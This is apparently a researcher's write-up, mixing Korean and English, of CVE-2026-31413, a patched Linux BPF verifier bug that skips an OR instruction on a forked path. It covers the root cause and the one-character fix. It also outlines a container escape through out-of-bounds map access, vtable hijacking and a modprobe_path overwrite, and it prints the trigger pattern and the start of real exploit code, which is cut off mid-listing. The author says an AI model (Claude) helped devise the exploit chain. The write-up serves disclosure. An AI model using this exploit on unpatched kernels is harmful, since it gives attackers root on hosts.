
CVE-2026-31413: BPF 검증기 건전성 버그 - 컨테이너 탈출
리눅스 BPF 검증기에서 건전성 버그를 발견했습니다. push_stack() 호출의 + 1로 인해 분기 경로에서 ALU 명령어 하나가 건너뛰어집니다. BPF_OR의 경우, 검증기는 dst = 0으로 추적하지만 CPU는 0 | K = K를 계산합니다. 완전한 컨테이너 탈출을 작성했습니다: BPF 맵에서의 OOB 읽기/쓰기, vtable 하이재킹, modprobe_path 덮어쓰기, 호스트에서 루트 획득. 이후 한 문자짜리 검증기 수정과 90줄의 selftest로 구성된 두 개의 패치 시리즈를 작성하여 메인라인에 병합했습니다.
| CVE | CVE-2026-31413 |
| 버그 분류 | 검증기 건전성 - 레지스터 값 불일치 |
| 근본 원인 | push_stack(env, env->insn_idx + 1, ...)가 분기 경로에서 ALU 명령어 건너뜀 |
| 도입 시점 | bffacdb80b93 - Linux 7.0-rc1 (2026년 1월 14일) |
| 수정 시점 | c845894ebd6f - Linux 7.0-rc5 (2026년 3월 22일) |
| 영향 버전 | 6.12.75+ (안정 백포트 dea9989a3f) ~ 7.0-rc4 |
| 영향 | 임의 커널 R/W → 컨테이너 탈출 → 호스트 루트 |
| 필요 권한 | CAP_BPF + CAP_PERFMON + CAP_NET_ADMIN |
| 수정 사항 | 한 문자: insn_idx + 1 → insn_idx |
maybe_fork_scalars()는 ARSH + AND/OR을 상수와 함께 발견하면 검증기 상태를 분기합니다. 분기된 경로는 dst = 0을 받고 ALU 명령어를 건너뜁니다. AND의 경우 문제없습니다: 0 & K = 0. OR의 경우 잘못됩니다: 0 | K = K이며 0이 아닙니다.
검증기는 레지스터가 0이라고 생각합니다. CPU는 K를 가집니다. 이를 이용하여 BPF 맵 값에서 임의 OOB 읽기/쓰기를 구성하고, 맵의 커널 주소를 유출했으며, 가짜 bpf_map_ops vtable을 만들어 map_push_elem을 array_map_get_next_key로 리디렉션하여 임의 쓰기를 수행하고, modprobe_path를 덮어썼습니다. 알 수 없는 바이너리 형식을 트리거하면 커널이 제 스크립트를 루트로 실행합니다. 컨테이너 내에서 완전한 호스트 탈출입니다.
두 개의 패치 시리즈: 한 문자짜리 검증기 수정과 OR 대 AND 분기를 다루는 90줄의 BPF selftest로 구성. 3월 22일 Alexei Starovoitov가 병합. 4월 12일 Greg Kroah-Hartman이 CVE-2026-31413 배정.
eBPF를 사용하면 커널 모듈을 컴파일하지 않고도 작은 프로그램(패킷 필터, 트레이싱 훅, 보안 정책)을 커널에 로드할 수 있습니다. 단점은 링 0에 코드를 주입한다는 점입니다. 그 코드에 버그가 있으면 커널 버그가 됩니다.
따라서 BPF 프로그램이 실행되기 전에 커널의 검증기가 가능한 모든 실행 경로를 시뮬레이션합니다. 각 레지스터가 가진 값(포인터? 스칼라? 어떤 범위?)을 추적하고, 모든 메모리 접근을 맵 경계와 비교하여 확인하며, 범위를 벗어난 읽기/쓰기를 할 수 있는 모든 것을 거부합니다. 검증기가 안전하다고 판단하면 JIT가 네이티브 머신 코드로 컴파일하여 전체 커널 권한으로 실행합니다. 그 이후에는 런타임 경계 검사가 없습니다. 검증기가 보안 경계입니다.
이것이 검증기 건전성 버그가 일반적인 메모리 손상과 다른 이유입니다. 힙 오버플로나 UAF를 사용하면 하나의 손상 프리미티브를 얻고 거기서부터 작업해야 합니다(힙 스프레이, 객체 준비, 윈도우 경쟁). 검증기 버그의 경우, 레지스터 값에 대해 커널이 거짓을 믿도록 만듭니다. 해당 레지스터에 의존하는 모든 경계 검사가 통과합니다. 커널이 OOB 접근을 승인합니다. 의심 없이 실행합니다. 레지스터 상태를 올바르게 정렬할 수 있다면 깨끗하고 신뢰할 수 있는 프리미티브를 얻을 수 있습니다.
maybe_fork_scalars()를 감사하고 있었습니다. 2026년 1월 bffacdb80b93에 추가된 새로운 코드입니다. 상태 분기는 항상 흥미로운데, 검증기가 병렬 탐색 경로로 분할되는 지점이며, 어떤 경로라도 잘못된 값을 추적하면 그 경로 아래 모든 것이 건전하지 않기 때문입니다.
이 함수는 ARSH + AND/OR을 상수 소스와 함께 발견하면 분기합니다. 분기된 경로는 dst = 0을 받고 ALU 명령어를 건너뜁니다. push_stack(env, env->insn_idx + 1, ...) 라인을 읽다가 즉시 깨달았습니다. + 1은 분기된 경로가 ALU 연산을 전혀 실행하지 않음을 의미합니다. AND의 경우 0 & K = 0이므로 건너뛰어도 괜찮습니다. OR의 경우 0 | K = K입니다. 분기된 경로는 결과가 0이라고 생각하지만 실제로는 K입니다.
그날 저녁 BPF 프로그램을 작성했습니다. ARSH 63으로 {0, -1}을 얻고, 상수와 OR한 후 조건부 분기로 검증기 경로를 분리한 다음, "제로" 레지스터를 맵 포인터에 더했습니다. 검증기는 map_value + 0을 승인했습니다. CPU는 map_value + K에 접근했습니다. KASAN이 테스트에서 범위를 벗어난 접근을 확인했습니다.
다음 날 아침까지 OOB 읽기/쓰기 완료. 다음 날 밤까지 컨테이너 탈출 완료. 전체 과정에서 Claude(Opus 4.5)를 사용했습니다. 검증기의 상태 분기 로직 분석, 익스플로잇 프리미티브 브레인스토밍, OOB를 완전한 탈출 체인으로 전환하는 작업까지. vtable 하이재킹 접근 방식은 Claude가 bpf_map_ops 함수 포인터를 살펴보며 호출 가능한 가젯을 찾는 대화 중에 나왔습니다.
커밋 bffacdb80b93 ("bpf: Recognize special arithmetic shift in the verifier")은 2026년 1월 14일 7.0-rc1에 포함되었습니다. Alexei Starovoitov, Puranjay Mohan 공동 개발. LLVM DAGCombiner 패턴을 처리하기 위해 maybe_fork_scalars()를 추가했습니다:```
w2 s>>= 31 // arithmetic shift right: w2 becomes 0 or -1
w2 &= -134 // AND with constant K
LLVM은 `select_cc setlt X, 0, A, 0`를 `sra + and`로 낮춥니다. 산술적 오른쪽 시프트 후 레지스터는 `0`(음수가 아닌 입력) 또는 `-1`(모두 1)입니다. 상수와의 AND는 `0` 또는 `K`를 제공합니다.
검증기는 단일 `bpf_reg_state`에서 `{0, K}`를 추적할 수 없습니다. 부호 있는 범위 `[0, K]`가 과도하게 근사화되어, 이로 인해 유효한 Cilium 프로그램이 거부되었습니다. 수정 방법: 검증기 상태를 포크합니다. 한 경로는 `dst = 0`을 탐색하고, 다른 경로는 `dst = -1`을 탐색하여 각각 정확한 값을 추적합니다.
구현:```c
static int maybe_fork_scalars(struct bpf_verifier_env *env,
struct bpf_insn *insn,
struct bpf_reg_state *dst_reg)
{
// ... condition check: dst range is [-1, 0], src is constant ...
branch = push_stack(env, env->insn_idx + 1, env->insn_idx, false);
// ^^^^^^^^^^^^
// pushed path resumes AFTER the ALU insn
if (IS_ERR(branch))
return PTR_ERR(branch);
regs = branch->frame[branch->curframe]->regs;
__mark_reg_known(®s[insn->dst_reg], 0); // pushed: dst = 0
__mark_reg_known(dst_reg, -1ull); // current: dst = -1
return 0;
}
Two things happen on the pushed path:
0insn_idx + 1 - the instruction after the ALU opFor BPF_AND: dst = 0, skip the AND. Runtime: 0 & K = 0. Match. Sound.
For BPF_OR: dst = 0, skip the OR. Runtime: 0 | K = K. Mismatch.
The verifier sees 0. The CPU has K. Unsound.
The function doesn't check the opcode. It was written for AND - where skipping
the instruction is the same as executing it with dst = 0 - and got applied to
OR too. For OR, that equivalence doesn't hold.
The trigger pattern is five instructions:``` r6 = (u64)(map_value + 0) // load a positive value (guaranteed by map init) r6 s>>= 63 // arithmetic shift: r6 = 0 (positive input) r6 |= K // BUG: verifier forks, pushed path gets r6=0 if r6 s< 0 goto exit // steers verifier paths r9 += r6 // verifier: r9 += 0 (in-bounds) // runtime: r9 += K (OOB)
검증기는 두 가지 경로를 탐색합니다:
**현재 경로** (`dst = -1`): OR이 실행되며, `-1 | K`는 여전히 `-1`입니다. 분기 `r6 s< 0`가 선택됩니다. 검증기는 종료를 따릅니다. 이 경로는 안전하며 검증기가 이를 확인합니다.
**푸시된 경로** (`dst = 0`, OR 생략): `r6 = 0`. 분기 `r6 s< 0`는 선택되지 않습니다. 검증기는 `r9 += r6`로 이어져 `r9 += 0`을 확인하고, 이후의 메모리 접근을 범위 내로 승인합니다.
**런타임** (`dst = 0`, OR 실행): 맵 값이 양수이므로 ARSH 후에 `r6 = 0`입니다. OR이 실행됩니다: `0 | K = K`. 분기 `K s< 0`는 선택되지 않습니다 (K는 양수). `r9 += K` - `K` 바이트만큼의 범위를 벗어난 접근이며, 검증기가 `r9 += 0`으로 승인합니다.
내가 `K`를 제어합니다. 임의 오프셋 OOB 읽기 또는 쓰기, 모든 BPF 맵 값에 상대적입니다.
읽기 버전은 유출된 데이터를 두 번째 맵에 저장하여 사용자 공간에서 검색할 수 있게 합니다. 쓰기 버전은 세 번째 맵에서 값을 로드하여 OOB 오프셋에 씁니다. 둘 다 검증기를 통과합니다.
다음은 전체 `oob_read_prog`입니다 - 이는 의사 코드가 아닌 실제 익스플로잇 코드입니다:```c
static int oob_read_prog(int map_fd, int dst_fd, int offset)
{
int K = -offset;
struct bpf_insn insn[] = {
/* look up map_fd[0] → R0 = pointer to value, load seed into R6 */
BPF_LD_MAP_FD(R1, map_fd),
BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -8),
BPF_ST_MEM(BPF_DW, R10, -8, 0),
BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1), /* map_lookup_elem */
BPF_JMP_IMM(BPF_JNE, R0, 0, 2), BPF_MOV64_IMM(R0,0), BPF_EXIT_INSN(),
BPF_LDX_MEM(BPF_DW, R6, R0, 0), /* R6 = seed (positive) */
/* look up dst_fd[0] → R9 = pointer to output buffer */
BPF_LD_MAP_FD(R1, dst_fd),
BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -8),
BPF_ST_MEM(BPF_DW, R10, -8, 0),
BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1),
BPF_JMP_IMM(BPF_JNE, R0, 0, 2), BPF_MOV64_IMM(R0,0), BPF_EXIT_INSN(),
BPF_MOV64_REG(R9, R0),
/* look up map_fd[0] again → R8 = base pointer for OOB access */
BPF_LD_MAP_FD(R1, map_fd),
BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -8),
BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1),
BPF_JMP_IMM(BPF_JNE, R0, 0, 2), BPF_MOV64_IMM(R0,0), BPF_EXIT_INSN(),
BPF_MOV64_REG(R8, R0),